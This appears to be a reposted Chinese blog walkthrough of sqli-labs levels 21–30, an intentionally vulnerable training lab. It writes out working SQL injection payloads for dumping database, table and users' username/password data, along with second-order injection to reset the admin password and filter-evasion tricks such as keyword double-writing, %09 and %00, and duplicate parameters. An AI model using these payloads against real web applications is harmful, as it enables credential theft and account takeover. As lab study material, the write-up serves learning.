首页 > 数据库 >sqli-labs靶场通关攻略(20-40)

sqli-labs靶场通关攻略(20-40)

时间:2024-08-25 23:24:31浏览次数:9  
标签:20 union 40 labs --+ table id select schema

第二十一关

登陆后显示如下图界面,感觉和cookie注入有些相似

进行抓包,发现cookie被编码

返回来查看源代码,发现这里被base64编码

我们将抓到的包发至重放器,在cookie字段写入查询代码并改为base64编码

发送请求即可得到数据库名

剩余操作大家自行查询


第二十二关

登陆后显示界面和二十一关一样

查看源代码发现也是被base64编码

基本和二十一关相同,只是闭合方式不同

1" union select 1,2,database() #

编码后:MSIgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIw==

后续大家自行查询


第二十三关

输入1'登录不成功,1'#也不成功

而1' '成功登录,说明#被注释

测试回显位

爆出库名

?id=-1' union select 1,database(),3 '

爆表名

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 '

爆字段名

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 '

爆字段信息

?id=-1' union select 1,(select group_concat(username,password) from users),3 '


第二十四关

进入24关,有注册、登录、忘记密码等界面

我们先注册一个名为admin的帐号,这里提示我们admin已存在

所以我们重新注册一个admin'#的账号,密码位123456,注册后登录,可以在这个界面修改密码,单引号是为了和之后密码修的用户名的单引号进行闭合,#是为了注释后面的数据。此时修改的就是 admin 的密码。

密码修改成功

我们使用修改的密码登录admin的账号,成功登录

我们这次所用的方法叫做二次排序注入,也叫做存储型的注入,就是将可能导致sql 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发 sql 注入。


 

 第二十五关

先判断闭合方式

?id=1' --+

联合查询查看回显位置

?id=-1' union select 1,2,3 --+

爆出数据库名

?id=-1' union select 1,database(),3 --+

爆表名,页面上提示'or'和'and'会被注释,说明单词中出现的也会白注释,我们可以使用双写的方法规避注释

?id=-1' union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'),3 --+

后续大家自行查询,记住规避'or''和'and'


第二十六关

判断闭合方式,我们实验发现#和--+都闭合不了,所以这里我们用一个不常用的注释

?id=1';%00

测试发现常规代替空格的方式都被注释了,正好()也能代替空格使用,-号也被注释,我们就选一个不存在的数亮出回显位置

?id=99'union(select(1),(2),(3));%00

爆出数据库名

?id=99'union(select(1),(database()),(3));%00


第二十七关

判断闭合方式,和上一关一样

?id=1';%00

由于页面提示屏蔽了union和select字样,所以我们采用双写和大小写的方式绕开,空格用%09代替,亮出回显

?id=99' ununionion%09seleCt %091,2,3;%00

爆出数据库名

?id=99' ununionion%09seleCt %091,database(),3;%00


第二十八关

判断闭合方式

?id=1');%00

过滤一组union select ,以下代码绕开过滤

?id=1')%09ununion%09selection%09select%091,2,3;%00

确定回显,爆出数据库名称

?id=99')%09ununion%09selection%09select%091,database(),3;%00


第二十九关

判断闭合方式

?id=1'--+

这关用常规方法也是可以做出来,但是毕竟是新的关卡,肯定有它出现的道理,看了下源码发现是代码逻辑漏洞导致的重复参数注入,就是会对输入的参数进行校验是否为数字,但是在对参数值进行校验之前的提取时候只提取了第一个id值,如果我们有两个id参数,第一个id参数正常数字,第二个id参数进行sql注入。

?id=1&id=-1' union select 1,2,3--+

下面我们就要常规方法解题了

爆库名

?id=-1' union select 1,database(),3--+

爆表名

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+

爆字段名

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3--+

爆字段数据

?id=-1' union select 1,(select group_concat(username,password) from users),3--+


第三十关

和二十九关相似,只不过是闭合方式变成了"

?id=1"--+

亮出回显

?id=1&id=-1" union select 1,2,3--+

爆出数据库名

?id=1&id=-1" union select 1,database(),3--+

标签:20,union,40,labs,--+,table,id,select,schema
From: https://blog.csdn.net/kknifek/article/details/141529516

相关文章

  • Python:RTX 40系列显卡安装 CUDA ,以 RTX 4070 为例,CUDA Toolkit 12.6 Downloads
    简简单单Onlinezuozuo:简简单单Onlinezuozuo简简单单Onlinezuozuo简简单单Onlinezuozuo简简单单Onlinezuozuo:本心、输入输出、结果简简单单Onlinezuozuo:联系我们:VX:tja6288/EMAIL:[email protected]文章目录Python:RTX40系列显卡安装CUDA,以RTX4......
  • .NET周刊【8月第3期 2024-08-18】
    国内文章Roslyn简单实现代码智能提示补全功能https://www.cnblogs.com/lindexi/p/18365261相信有很多伙伴热衷于编写IDE应用,在dotnet系下,通过Roslyn友好的API和强大的能力,实现一个代码智能提示是非常简单的事情。本文将和大家简单介绍一下如何使用Roslyn实现简单的......
  • [笔记](更新中)CSP-S 2024 查漏补缺
    复习内容部分来自NOI大纲中入门级和提高级的内容。联合体(Union)联合体是一种复合数据类型,其的定义上与结构体的定义类似。与结构体不同,联合体中的所有元素共用一块内存,所以它占空间大小一般是最大成员的大小(不考虑对齐的情况下),相应地,任意时刻只有一个成员带有值,如果访问其他成员......
  • Hitachi Vantara Programming Contest 2024(AtCoder Beginner Contest 368)题解A~D
    A-Cut题意:将数组的后k个字符移到前面思路:可以用rotate()函数让数组中的元素滚动旋转rotate(v.begin(),v.begin()+n-k,v.end());直接输出后k个元素,再输出前n-k个元素for(inti=n-k;i<n;i++)write(v[i]);for(inti=0;i<n-k;i++)write(v[i]);B-Decrease2......
  • 2024年云南省职业院校技能大赛中职组 “移动应用与开发”赛项竞赛样卷
    2024年云南省职业院校技能大赛中职组“移动应用与开发”赛项竞赛样卷移动应用开发交流进步裙:958892296文章目录2024年云南省职业院校技能大赛中职组“移动应用与开发”赛项竞赛样卷模块A:移动应用界面设计模块B:移动应用前端开发模块C:移动应用测试与交付一、......
  • 2024年云南省职业院校技能大赛中职组“网络搭建与应用”赛项竞赛样卷
    2024年云南省职业院校技能大赛中职组“网络搭建与应用”赛项竞赛样卷文章目录2024年云南省职业院校技能大赛中职组“网络搭建与应用”赛项竞赛样卷第一部分:网络理论测试(100分)第二部分:网络建设与调试(400分)第三部分:服务搭建与运维(500分)竞赛说明一、竞赛内容分布......
  • 2024年云南省职业院校技能大赛中职组“大数据应用与服务”赛项竞赛样卷
    2024年云南省职业院校技能大赛中职组“大数据应用与服务”赛项竞赛样卷文章目录2024年云南省职业院校技能大赛中职组“大数据应用与服务”赛项竞赛样卷模块一:平台搭建与运维模块二:数据获取与处理模块三:业务分析与可视化大数据相关资源参考链接:https://blog.csdn.ne......
  • 2024牛客暑期多校训练营10
    ASurrendertoMyWill签到题Bstd::pair模拟,建立二叉树即可DIsitrated?题目大意有\(n\)场\(\textbf{按顺序}\)的比赛,第\(i\)场比赛有表现分\(p_i\)。参加第\(i\)场比赛后你的分数\(r\)将变为\(r\times(1-k)+k\timesp_i\)。你可以选择最多\(m\)场比赛不参......
  • TPS561201DDCR同步降压稳压器IC芯片中文资料PDF档数据手册引脚图产品参数
    TPS561201的说明TPS561201和TPS561208是采用SOT-23封装的简单易用型1A同步降压转换器。此器件被优化为使用尽可能少的外部组件即可运行,并且可以实现低待机电流。这些开关模式电源(SMPS)器件采用D-CAP2模式控制,从而提供快速瞬态响应,并且在无需外部补偿组件的情况......
  • 题解:AT_joisc2017_f 鉄道旅行 (Railway Trip)
    题意鉄道旅行(RailwayTrip)分析非常神仙的倍增做法。我们设\(l_{i,j}\)表示从\(i\)点出发,停靠\(2^j\)站后能抵达的最左位置。同理设\(r_{i,j}\)表示从\(i\)点出发,停靠\(2^j\)站后能抵达的最右位置。考虑如何更新这两个状态。因为可以走回头路,所以简单的\(l......